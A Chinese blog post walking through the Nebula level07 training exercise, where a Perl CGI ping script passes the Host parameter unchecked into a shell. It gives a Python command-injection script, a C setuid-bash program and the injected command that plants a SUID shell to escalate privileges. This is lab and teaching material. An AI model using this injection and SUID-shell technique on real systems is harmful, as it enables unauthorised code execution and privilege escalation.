ExploitExercises_Nebula_Level07

最新推荐文章于 2019-10-21 09:01:11 发布

小黑话不多

最新推荐文章于 2019-10-21 09:01:11 发布

阅读量1k

点赞数

分类专栏： ExploitExercise

本文链接：https://blog.csdn.net/hurricane_0x01/article/details/53896574

版权

ExploitExercise 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

题目源码为一段perl脚本：

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

第12行@output = `ping -c 3 $host 2>&1`;对参数host未做控制，可输入任意命令执行。

在/home/level07目录下创建cmd.py文件：

#!/usr/bin/python
import urllib
import sys

host = "localhost -c3;"
cmd = sys.argv[1]
payload = host + cmd
final = urllib.urlencode({'Host':payload})
f = urllib.urlopen("http://localhost:7007/index.cgi?%s", final)
print f.read()

在/tmp目录下创建level07.c文件：

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}

输入参数，运行cmd.py文件：

./cmd.py "gcc -o /tmp/level07 /tmp/level07.c;chmod u+s,a+x /tmp/level07;cp /tmp/level07 /home/flag07/;chmod u+s /home/flag07/level07"

此时在/home/flag07目录下创建level07文件，并且设置了SUID属性，运行，提权成功。

小黑话不多

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
ExploitExercises_Nebula_Level07

题目源码为一段perl脚本：#!/usr/bin/perluse CGI qw{param};print "Content-type: text/html\n\n";sub ping { $host = $_[0]; print("Ping results"); @output = `ping -c 3 $host 2>&1`; foreach $line (@
复制链接

扫一扫